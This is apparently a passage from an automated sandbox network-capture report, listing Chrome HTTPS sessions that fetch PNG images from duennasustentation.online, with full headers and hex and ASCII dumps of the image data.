eb 35 3a bc 48 50 04 33 fc 18 fc 4b 6e 83 fc fe 51 27 b1 e4 62 39 88 16 cb 15 1b 28 6c 20 b8 ea 54 ec a4 47 a3 78 3a 42 7c 1b e1 63 b7 a2 eb 16 42 1e bb cf 00 37 c5 82 e4 0a 76 e5 c7 84 2f Data Ascii: S\|ilhRQ=B85?`v#I*f+fH^yb"$#sQaEcuaS_{Bbo/uHAC~2j<EpyYe3N;$p8tE2+]v?f2S6/DJB(! q&:5:HP3KnQ'b9(l TGx:B\|cB7v/
2025-01-08 14:44:37 UTC	1369	IN	Data Raw: 1e e8 aa 15 e8 eb ff 80 30 be bb a3 3e 1d 8a fa 12 bb ec 6f 98 7e 63 a3 8e 7e ed 2d 9f 96 a4 41 90 72 83 52 45 fc ca 1f 60 df f9 d7 5e cd 78 9b 43 bf 81 77 ee 8d 48 76 05 6c 88 3e 08 d2 03 a4 88 e8 06 cd 09 60 87 63 bf c2 89 60 87 c3 f1 e9 92 b0 40 90 5e 41 ca 65 f7 23 43 4f d8 79 97 e1 47 93 72 fa 25 60 72 a2 7d 7d 1a 17 62 35 80 0c 16 ec d6 35 c4 2f fc 7f d8 d9 af d3 99 fa c9 66 d8 31 c4 7e 77 2b 14 0f 45 57 01 d2 a4 fa 41 03 50 62 a0 10 82 6b ce 24 7c fd fe dd 0b e1 ea 8d c4 6f f8 25 e1 7f 1f 8f 04 70 7a 93 4e 70 ed c5 12 65 1f 73 20 7c f5 5f d8 0f 9e ef e0 40 5d 8f 14 f6 c7 ff fd 83 98 21 a3 a3 ce 72 d8 8e 7d a3 c4 41 2a 0c 9a 52 4b f0 87 1f 61 df 7b 9e bd 59 0f db 3b ec 9b c4 2e b8 19 52 0a d1 ad 16 7c 13 fd 24 da 60 3b 1c 8e fd 07 27 82 1d 8e 7d 8d Data Ascii: 0>o~c~-ArRE`^xCwHvl>`c`@^Ae#COyGr%`r}}b55/f1~w+EWAPbk$\|o%pzNpes \|_@]!r}A*RKa{Y;.R\|$`;'}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.16	49743	104.21.28.45	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:44:35 UTC	821	OUT	GET /images/flaglogo.png HTTP/1.1 Host: duennasustentation.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://duennasustentation.online/?encoded_value=223GDT1&sub1=e6bdf212e77945a1bdd4f5f45fcae0ae&sub2=&sub3=&sub4=&sub5=23272&source_id=20259&ip=8.46.123.189&domain=www.clicknloader.com Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: SESSIONIDS=MYZkgcw1sq9TWnVclehUW-zwA1MWtnXgWh4Hc
2025-01-08 14:44:36 UTC	1057	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:44:36 GMT Content-Type: image/png Content-Length: 1781 Connection: close accept-ranges: bytes Cache-Control: no-cache etag: "677d294e-6f5" expires: Wed, 08 Jan 2025 14:44:35 GMT last-modified: Tue, 07 Jan 2025 13:17:02 GMT permissions-policy: interest-cohort=() strict-transport-security: max-age=31536000; includeSubDomains; preload cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=faoMF9uQEDnSDnsh0CP6btlqquxdCrog7taXi8y9NuZ6MKe7iLlXGZlgFyT8m%2FS8q4m7YhxqWQ%2FrI%2BvgAUo13F3a%2FITg%2BcY%2B%2F9rH2dKpDxPqlv3kdbek%2BvxqsnCnrnoWEwGI%2FuvmCcYXucH1"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fecf76d19f843f2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1631&min_rtt=1620&rtt_var=631&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2868&recv_bytes=1399&delivery_rate=1703617&cwnd=207&unsent_bytes=0&cid=19daba334f5c5b0e&ts=948&x=0"
2025-01-08 14:44:36 UTC	312	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 06 bc 49 44 41 54 78 01 ed d8 03 74 5c 5b 17 07 f0 9d 64 d8 78 b5 0b 75 6a db b6 1f ca 38 99 bc 38 13 ab 76 27 cf 66 6d c4 c6 b3 5f ed a8 b6 dd 26 35 fe df be 67 cd fd 14 4d e6 19 67 ad df 5d fb 84 7b fd ef 3e 23 fa 67 fd de cb 60 c8 6e 92 90 90 3f dc 60 c8 d7 bd f6 ea 57 e1 06 43 41 64 6e c2 3a bf eb 09 09 2f 5c 4c 48 68 cf b4 8c cc 65 de 2f d1 e4 ce 13 27 ae 36 ac df b0 67 27 91 df 1d a2 29 68 db 76 09 56 ad da 09 a2 28 4c a5 36 28 26 c2 36 a2 c7 ec 28 5b b5 9d 68 fc 56 22 15 23 d3 d5 f2 87 eb d5 9b d7 47 ad 0e 4d 53 28 82 1e 74 ec b8 08 b1 b1 39 50 2a 43 a0 50 04 a3 75 eb 79 98 3d 2b 1f 96 da 68 f8 db 8f c5 d9 16 cd 51 ea d4 ec 7f 94 38 39 ed 39 32 Data Ascii: PNGIHDR((mIDATxt\[dxuj88v'fm_&5gMg]{>#g`n?`WCAdn:/\LHhe/'6g')hvV(L6(&6([hV"#GMS(t9P*CPuy=+hQ8992
2025-01-08 14:44:36 UTC	1369	IN	Data Raw: bd 7b 95 7b fa f4 2b 00 9d 18 d5 a4 c6 1f 68 ea b4 a8 d5 a0 81 ef ee 50 2a 83 a1 62 3d ba 27 20 22 22 1d 62 af 0a 41 bb 76 0b 39 c9 2c 70 b2 d0 a8 c3 41 e4 8e 98 99 d9 30 61 dd 64 ee 3f ab c1 1f 7f 38 db c5 da 26 f2 b4 f4 4f dd dd d7 62 f3 e6 fd b0 b4 0c 16 c9 4d 98 f0 09 d2 33 8a a1 d1 4a 4d b9 60 e0 c0 b7 91 9f 7f 18 75 6c 22 a1 1f b3 18 f7 13 b7 e0 f6 96 ea dd 49 4c c4 59 7f ff 10 46 55 a9 f2 1b c3 86 be dd 72 cc e8 4f 4e 5b 29 02 39 9d 60 f4 ec f5 1a 82 82 92 a4 e4 b8 a9 10 48 33 18 1e 9e ca 29 ea a1 e5 7d 8b 16 73 11 1d 9d 01 4b 4d 2c 74 d4 13 a5 44 d8 69 82 5d 6c 37 59 f8 30 aa 4c a5 5f d4 6a 42 ac 89 bc 76 10 79 c0 cf 6f 33 36 6e d8 07 a2 00 91 dc d4 a9 2b 90 9e 5e 24 0e 07 91 33 46 8e fc 80 93 3b 04 1b 4e 8e 7f 9e 45 e0 25 ea 81 12 22 ec 30 dd 7d Data Ascii: {{+hP*b=' ""bAv9,pA0ad?8&ObM3JM`ul"ILYFUrON[)9`H3)}sKM,tDi]l7Y0L_jBvyo36n+^$3F;NE%"0}
2025-01-08 14:44:36 UTC	100	IN	Data Raw: 5d bb 91 9a 0a b3 24 27 3f 7d 78 a8 34 1d 40 67 46 bf 74 83 c2 2e a2 c6 5b 89 66 6e e3 e9 60 4f 18 4c 70 86 2d ff 89 a8 1f a3 da e0 8b 79 4a 7a f4 b0 62 5d 59 00 7b 9f 65 b2 af d9 0f 2c 8f ad 66 33 d8 08 e6 c0 c8 1c 72 f1 fb fb b3 36 f8 2f da 02 8b 1b 0b 70 1e 6b 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: ]$'?}x4@gFt.[fn`OLp-yJzb]Y{e,f3r6/pkIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.16	49744	104.21.28.45	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:44:35 UTC	820	OUT	GET /images/product.png HTTP/1.1 Host: duennasustentation.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://duennasustentation.online/?encoded_value=223GDT1&sub1=e6bdf212e77945a1bdd4f5f45fcae0ae&sub2=&sub3=&sub4=&sub5=23272&source_id=20259&ip=8.46.123.189&domain=www.clicknloader.com Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: SESSIONIDS=MYZkgcw1sq9TWnVclehUW-zwA1MWtnXgWh4Hc
2025-01-08 14:44:36 UTC	1054	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:44:36 GMT Content-Type: image/png Content-Length: 558016 Connection: close accept-ranges: bytes Cache-Control: no-cache etag: "677d2947-883c0" expires: Wed, 08 Jan 2025 14:44:35 GMT last-modified: Tue, 07 Jan 2025 13:16:55 GMT permissions-policy: interest-cohort=() strict-transport-security: max-age=31536000; includeSubDomains; preload cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2xe1nuIob2kVjBvjw7Rj8EBedwFrD9X1tER%2BsRrKs8uLRRtaF8EFJCsNfQh7%2BrvDN7TxjBkjVnB1aD5l2F%2BEzU0yzoLSs%2F0%2BcgiYbC6eLRDytHyFh2k8UQmCFszeAbzmF8qHhoQMvi0WRFYS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fecf76d587518b8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2972&min_rtt=1504&rtt_var=1593&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2868&recv_bytes=1398&delivery_rate=1941489&cwnd=186&unsent_bytes=0&cid=4bcce0aad3aaa2f8&ts=959&x=0"
2025-01-08 14:44:37 UTC	1369	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 03 c0 00 00 03 42 08 06 00 00 00 a9 ae a5 48 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 0a f2 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 38 20 37 39 2e 31 36 34 30 33 36 2c 20 32 30 31 39 2f 30 38 2f 31 33 2d 30 31 3a 30 36 3a 35 37 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 Data Ascii: PNGIHDRBHpHYsiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c148 79.164036, 2019/08/13-01:06:57 "> <rdf:RD
2025-01-08 14:44:37 UTC	1369	IN	Data Raw: 41 45 36 44 43 33 41 36 33 37 32 41 44 32 36 32 38 43 36 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 43 37 30 33 44 39 37 39 38 34 34 46 41 38 43 37 44 36 34 42 33 34 34 39 41 39 44 35 35 36 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 41 33 46 33 31 32 33 37 32 39 44 41 42 43 34 39 42 38 32 32 39 44 39 36 39 45 36 32 46 32 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 46 35 41 38 34 36 37 35 39 36 30 36 33 38 42 41 37 43 45 44 30 46 43 45 30 45 31 35 44 37 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 46 36 46 35 37 32 34 45 33 38 38 39 32 32 36 38 33 36 43 43 46 45 37 31 46 44 41 41 31 42 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 32 35 38 41 33 41 34 42 33 37 38 36 30 44 31 33 Data Ascii: AE6DC3A6372AD2628C64</rdf:li> <rdf:li>AC703D979844FA8C7D64B3449A9D5565</rdf:li> <rdf:li>BA3F3123729DABC49B8229D969E62F2A</rdf:li> <rdf:li>BF5A84675960638BA7CED0FCE0E15D72</rdf:li> <rdf:li>BF6F5724E3889226836CCFE71FDAA1B5</rdf:li> <rdf:li>E258A3A4B37860D13
2025-01-08 14:44:37 UTC	1369	IN	Data Raw: 32 31 2e 30 20 28 57 69 6e 64 6f 77 73 29 22 20 73 74 45 76 74 3a 63 68 61 6e 67 65 64 3d 22 2f 22 2f 3e 20 3c 2f 72 64 66 3a 53 65 71 3e 20 3c 2f 78 6d 70 4d 4d 3a 48 69 73 74 6f 72 79 3e 20 3c 2f 72 64 66 3a 44 65 73 63 72 69 70 74 69 6f 6e 3e 20 3c 2f 72 64 66 3a 52 44 46 3e 20 3c 2f 78 3a 78 6d 70 6d 65 74 61 3e 20 3c 3f 78 70 61 63 6b 65 74 20 65 6e 64 3d 22 72 22 3f 3e 5e 8e 64 69 00 08 78 74 49 44 41 54 78 9c ec fd e7 93 65 d7 79 e6 0b 3e cb 6d 77 4c 7a 5f 99 59 de c1 11 00 41 00 24 45 23 4a dd 2d f5 8d be 3d 3d 31 26 26 62 fe b6 3b 1f ee 8d 71 3d d3 31 0a c5 ed 96 5a 57 a4 44 d1 1b 80 30 05 a0 5c 7a 9f 79 fc f6 cb cc 87 b5 f7 c9 2a 90 22 41 12 a6 aa b8 7e 88 0c 14 b2 32 f7 d9 ee 1c ec 67 bd ef fb 3c c4 18 03 87 c3 e1 70 38 1c 0e 87 c3 e1 70 38 9e Data Ascii: 21.0 (Windows)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>^dixtIDATxey>mwLz_YA$E#J-==1&&b;q=1ZWD0\zy*"A~2g<p8p8
2025-01-08 14:44:37 UTC	1369	IN	Data Raw: 3a c0 d6 d6 43 f8 7e 80 b5 d5 75 44 51 03 7b 7b 3b 78 f8 f0 21 82 c0 c7 e5 cb 57 30 3b 3b 87 e3 93 63 ec ee 6e a3 dd 6a 83 73 fb b9 10 06 21 16 16 e6 d1 ed 76 a1 b5 c2 e5 cb 97 31 31 39 81 c3 a3 3d 6c 3c bc 8f 28 6a e2 cb 5f 7e 03 8b 8b 4b 48 d3 14 8c 09 34 a2 26 3c 5f 80 31 fa c4 5e cb 37 5e ff fa 17 bd 0b 0e c7 18 27 80 1d 0e 87 c3 e1 78 86 a8 1f 80 19 a3 10 42 c0 18 d6 14 42 cc 72 ce 67 b8 e0 b3 65 59 cc 1e 9f 1c 5e 90 4a cd 9f 1c ef 2f 0c 86 fd 05 29 cb 69 6d 4c 5b 6b b4 8c 46 93 10 16 1a 6d a8 81 01 a5 04 94 50 10 4a a0 94 44 91 1b 30 ce 00 03 50 ca 00 90 f1 bf b5 06 94 52 50 4a e9 3c a3 c3 84 90 e5 33 98 45 55 96 2b 9c 8b 8b 65 21 3f f2 fd e0 40 08 71 e0 79 de 1e 17 62 40 08 79 62 1f da 1d 0e 87 c3 f1 ec e1 04 b0 c3 e1 70 38 1c cf 00 84 10 50 4a c1 Data Ascii: :C~uDQ{{;x!W0;;cnjs!v119=l<(j_~KH4&<_1^7^'xBBrgeY^J/)imL[kFmPJD0PRPJ<3EU+e!?@qyb@ybp8PJ
2025-01-08 14:44:37 UTC	1369	IN	Data Raw: 14 04 14 5a 1b 30 6e 63 91 28 e3 d0 4a 21 d7 39 0c 0c 08 05 94 b6 99 b3 1e e7 a0 dc c6 34 51 6e dd a6 8d 36 60 94 c0 70 ca cb b2 e0 87 87 7b af 0d 86 bd c9 46 d4 7a ad 11 35 37 9a 8d f6 7b 33 b3 73 77 b8 f0 3e a2 94 1e 7e b1 57 c8 e1 70 38 1c 4f 2b 4e 00 3b 1c 0e 87 c3 f1 84 21 84 00 a5 b4 35 1c 0d e7 b2 34 be 74 78 74 f0 d5 8d cd 8d 6f 1c 1e ee 7f 69 30 18 cc 1a 63 e0 09 01 2e 38 da 13 0d 28 a5 40 08 81 52 0a 69 96 41 69 05 a9 14 40 09 38 67 20 00 40 6c 6e 2f 61 04 ca 68 68 6d a0 a5 82 84 01 25 04 84 db ec 60 18 a0 50 d6 d8 4a 29 05 00 50 4a 42 4a 0a 10 0a ad 09 60 38 ac 90 36 95 11 16 85 04 41 49 0c 28 01 08 61 80 31 76 1f 20 c1 39 03 a3 dc ee a3 54 28 4c 35 9b 6c 80 bc 90 95 83 b4 42 10 85 e0 42 40 70 8e b2 c8 d8 7e ef ec a6 92 e6 66 ab 39 19 cf cf 2f Data Ascii: Z0nc(J!94Qn6`p{Fz57{3sw>~Wp8O+N;!54txtoi0c.8(@RiAi@8g @ln/ahhm%`PJ)PJBJ`86AI(a1v 9T(L5lBB@p~f9/
2025-01-08 14:44:37 UTC	1369	IN	Data Raw: 38 1c 90 4e f7 6c 75 ff 60 67 75 77 77 e7 e5 93 d3 a3 f7 97 16 97 ae a6 69 ba 22 84 b8 e7 fb c1 59 51 c8 33 97 9e e4 70 38 1c 0e 27 80 1d 0e 87 c3 e1 f8 9c 30 c6 50 63 f4 25 42 e8 9b bd 5e ef 1b 5b 9b 0f 5f 4b e2 78 39 2b f2 19 4a c1 da 13 4d 50 6a 45 a4 35 97 aa 63 88 08 a4 d4 00 ca 47 5a 9e 39 84 b1 2d c6 c6 10 c8 52 c3 18 a0 2c 65 e5 be 4c 00 42 a0 b4 86 cc f3 6a 0f 88 8d 40 52 06 5a 6b 10 0a 30 ca 40 28 45 59 e6 90 65 89 a2 c8 40 18 05 cb 29 08 25 f0 84 8f 30 68 5a e1 1e 04 68 44 cd 3c 08 c2 1e 63 5e 91 a6 f1 f4 60 d0 6b 24 e9 c8 ce fb 72 01 c6 39 4c d5 62 ed 79 1c 7e c0 00 50 18 ad 00 66 9d a8 19 a7 60 86 5b d3 2e ad 6d 6c 52 b5 1f c6 18 68 a5 a1 94 6d bd 56 4a 43 4a 05 56 7d bf ae 30 13 62 b3 8e c3 30 00 a0 21 3c 86 34 cb 30 18 76 27 de 7b ef ed 57 Data Ascii: 8Nlu`guwwi"YQ3p8'0Pc%B^[_Kx9+JMPjE5cGZ9-R,eLBj@RZk0@(EYe@)%0hZhD<c^`k$r9Lby~Pf`[.mlRhmVJCJV}0b0!<40v'{W
2025-01-08 14:44:37 UTC	1369	IN	Data Raw: 95 ba 2c 4b 64 59 86 38 1e 61 6a 72 6a f7 c2 85 b5 3d 6d c8 5d c6 c8 2b 59 96 2e 70 4e 79 9a 65 51 bb 3d b9 90 a5 f9 a5 7e bf bf 30 1c 0e 26 e2 38 45 59 28 04 61 50 99 75 51 18 58 67 68 a5 24 18 23 f0 3c 01 21 38 28 a5 90 52 d9 f3 a1 54 d5 22 ee d9 59 e3 aa 4a ae 94 01 21 0c 69 1a 7b 71 1c df 22 84 dd 9a 68 b7 be 74 d4 6e dd a6 9c 5e 2c 8a f4 17 42 88 2d df f7 8f 95 1d a0 76 38 1c 0e c7 33 8a 13 c0 0e 87 c3 e1 70 7c 4a 68 ad e7 18 65 5f 01 f0 17 87 87 07 af 6d 6d 3f b8 52 14 d9 bc 31 a0 cd d6 84 8d 0b 12 de 38 c7 d7 46 0f 55 51 40 8c 8e 0d 9e b4 b6 e6 54 82 fb 00 25 c8 f3 12 52 56 33 af d4 1a 58 95 da 40 ab 12 59 96 23 8e 13 64 59 0e c1 05 26 26 a7 ca 85 85 e5 bd f9 b9 b9 87 53 d3 d3 0f 66 a6 a7 1f cc cc 4c 6f 52 ca f6 8e 0e 8f 3b 9d 4e 37 83 31 19 63 2c Data Ascii: ,KdY8ajrj=m]+Y.pNyeQ=~0&8EY(aPuQXgh$#<!8(RT"YJ!i{q"htn^,B-v83p\|Jhe_mm?R18FUQ@T%RV3X@Y#dY&&SfLoR;N71c,
2025-01-08 14:44:37 UTC	1369	IN	Data Raw: 79 44 14 21 0c e2 91 f9 62 a5 24 46 a3 11 f6 0f 7b eb c7 c7 c7 eb 73 fb 7b af ac af 5f b9 09 98 e5 a2 28 7e 08 60 57 08 71 cc 18 2b bf e0 53 e5 70 38 1c 8e 3f 10 27 80 1d 0e 87 c3 e1 f8 04 18 63 a8 56 ea 0a 01 f9 46 51 14 df da de d9 7a 25 8e 93 d5 b2 2c 5a 9e cf d0 68 44 f0 bc 00 84 70 5b f5 2d cb ca 98 c9 3a 13 03 1a 86 70 9b eb 0b 53 55 7a 0d 14 55 60 4c 54 e2 57 c3 18 0d 9b 71 4b a0 0d 81 2c 24 92 24 c7 70 30 42 51 68 4c 4e 4c 15 cf 3d f7 fc 3b af bc f2 ea 7f 9d 98 98 fc 2e e3 f4 3d ad f5 09 ad 5a 74 cf 1b 85 9f 6e 08 21 92 52 7a 17 06 a7 93 53 93 bf b8 7a ed ea 2b c3 c1 f0 2f de 7a fb 17 df 7a b8 71 7f 35 cd 32 08 cf 2e 2a 70 ce 60 0c a0 b5 01 21 14 94 51 10 4a a0 a4 82 56 36 3f 99 31 8e 28 8a 50 c8 1c 04 c6 1a 8f 19 52 cd 55 57 46 59 14 08 02 1f 52 Data Ascii: yD!b$F{s{_(~`Wq+Sp8?'cVFQz%,ZhDp[-:pSUzU`LTWqK,$$p0BQhLNL=;.=Ztn!RzSz+/zzq52.*p`!QJV6?1(PRUWFYR
2025-01-08 14:44:37 UTC	1369	IN	Data Raw: d8 52 2d 01 a5 1c 44 19 68 23 a1 94 b6 8e cf b0 15 62 63 34 f2 c2 7e 7f 7e 7e b9 ff f5 af 7f e3 bf be fc a5 57 ff b3 2f fc 9f 1c 1c 1c 74 5d 65 d1 52 9d e7 94 10 f2 93 e5 e5 15 5f 96 aa a1 a4 fa f3 c3 a3 bd a5 b2 d4 f0 aa 2a 30 e7 55 e5 56 96 76 81 82 0a 30 46 c1 19 41 29 01 63 14 b4 d4 30 20 28 0b 0d 18 09 4a 00 50 40 08 06 ce 04 0c b5 8b 14 5a 4b 10 10 08 e1 81 0b 0e a5 34 ca a2 44 7f d8 9d f9 f0 a3 e4 ab 47 c7 87 d7 a7 a7 66 bf b6 bc bc f2 4f 84 90 ef 6b ad de 07 d0 fd a2 cf 95 c3 e1 70 38 1e c7 09 60 87 c3 e1 70 fc c9 51 b7 27 7b 9e 07 c6 38 0b 82 e0 e6 e9 e9 c9 4b 9d ce c9 eb fb 07 7b 6f 1c 1f 1f bd d8 ef 77 03 63 80 30 0c 11 04 01 84 f0 40 29 45 59 ca 71 e5 d7 66 d1 7a e0 5c 40 49 85 b2 2c a1 a4 84 81 15 c0 46 a3 12 4f 56 08 c3 54 53 a2 86 40 6b 52 Data Ascii: R-Dh#bc4~~~W/t]eR_*0UVv0FA)c0 (JP@ZK4DGfOkp8`pQ'{8K{owc0@)EYqfz\@I,FOVTS@kR
2025-01-08 14:44:37 UTC	1369	IN	Data Raw: 30 39 35 3d ba b0 7a e1 61 ab d9 ce 7b bd de da fe fe de 7c 91 97 44 49 03 21 38 28 b1 95 45 ce ad 4b 31 54 09 ad 34 08 48 d5 66 6d c6 e2 58 4a 89 7e bf e7 ef ee ed bd b0 be 7e e9 b5 cb 13 97 ee b5 5a ad fd ba bd b9 56 64 a4 da 66 15 d1 83 a8 11 e2 da d5 ab 58 5f 5f 1f 57 25 93 38 7e 66 04 70 8d 75 d6 a6 e3 a8 22 42 ec 35 99 9e 9a be f7 d2 4b 2f fe 7f 3b dd e3 f6 70 d0 fd f7 69 9e 08 2b 68 ed 09 23 95 2b 37 28 81 aa e6 b3 8d b1 46 66 9c 33 14 a5 b6 15 74 45 c1 09 07 08 07 23 0c 4a 1b 7b ad 88 dd 8e d6 a6 6a 3f af 5a a3 29 01 af ee 1d 9b f1 ac c7 19 c2 4a 6a 24 c9 a8 75 ff c1 dd 37 3d cf bf d8 6c b6 bf 3a 37 3b f7 63 a3 f5 3f 69 ad df 06 30 fa 62 cf a6 c3 e1 70 fc 69 e1 04 b0 c3 e1 70 38 9e 39 8c 31 a0 94 c2 f7 7d 10 82 a9 e3 63 72 6b 77 77 f7 b5 22 cf bf Data Ascii: 095=za{\|DI!8(EK1T4HfmXJ~~ZVdfX__W%8~fpu"B5K/;pi+h#+7(Ff3tE#J{j?Z)Jj$u7=l:7;c?i0bpip891}crkww"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.16	49753	172.67.144.59	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:44:37 UTC	428	OUT	GET /images/f_secure_1.png HTTP/1.1 Host: duennasustentation.online Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: SESSIONIDS=MYZkgcw1sq9TWnVclehUW-zwA1MWtnXgWh4Hc
2025-01-08 14:44:38 UTC	1052	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:44:38 GMT Content-Type: image/png Content-Length: 9862 Connection: close accept-ranges: bytes Cache-Control: no-cache etag: "677d2949-2686" expires: Wed, 08 Jan 2025 14:44:37 GMT last-modified: Tue, 07 Jan 2025 13:16:57 GMT permissions-policy: interest-cohort=() strict-transport-security: max-age=31536000; includeSubDomains; preload cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1k7eKlu%2BvZjOsYn%2B4ikO4OXu7HDAsmhP9ZTJ6iexxqQH%2BRdRIDkrVazAXoQWar3DTWk9qPtCjgcva3yUGsjtdlfPq2SR2Uo5N9nmyQw9hV%2BldYUSBLj%2B3AH09si3W%2FPblAmPWWs8OtxC6JUn"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fecf77719f5183d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1515&min_rtt=1515&rtt_var=570&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2869&recv_bytes=1006&delivery_rate=1918528&cwnd=252&unsent_bytes=0&cid=d3b51ee1809f6cb7&ts=938&x=0"
2025-01-08 14:44:38 UTC	317	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8a 00 00 00 85 08 03 00 00 00 b3 0f 90 83 00 00 03 00 50 4c 54 45 00 00 00 dd d4 9c f9 f4 d8 b1 a6 34 d0 c8 7a 85 7a 18 e3 db a1 b2 a9 3a dc d6 a4 f6 f2 d2 de d6 97 e5 e0 ab ec e6 bc d1 c7 81 e4 de b2 ef e9 c3 a3 9c 4d c7 bf 6f b7 b2 70 bf b9 81 db d3 8e f0 e9 c9 d0 c8 70 f5 ee cc b9 b1 64 bd b2 4f bb aa 28 8e 86 32 ba b0 57 b5 a8 2e ad a5 30 9c 95 3d b8 af 48 c9 bd 5d be b6 5e cd c9 8c 84 7c 25 bb b1 43 ce c4 65 76 70 21 98 90 2a a8 9d 1c 8c 82 18 aa 9a 22 93 8d 45 9c 93 1d b1 ab 4a c8 bd 51 00 00 00 01 03 01 01 00 05 07 01 01 a8 99 02 03 00 00 8a 80 00 01 00 09 04 05 06 01 06 00 aa 9b 02 0c 04 01 96 8a 01 01 01 0d a8 97 0a a3 99 04 07 07 01 a7 96 02 af 9c 10 ac 9d 02 ff ff fe 03 01 13 a5 91 01 a8 Data Ascii: PNGIHDRPLTE4zz:MoppdO(2W.0=H]^\|%Cevp!*"EJQ
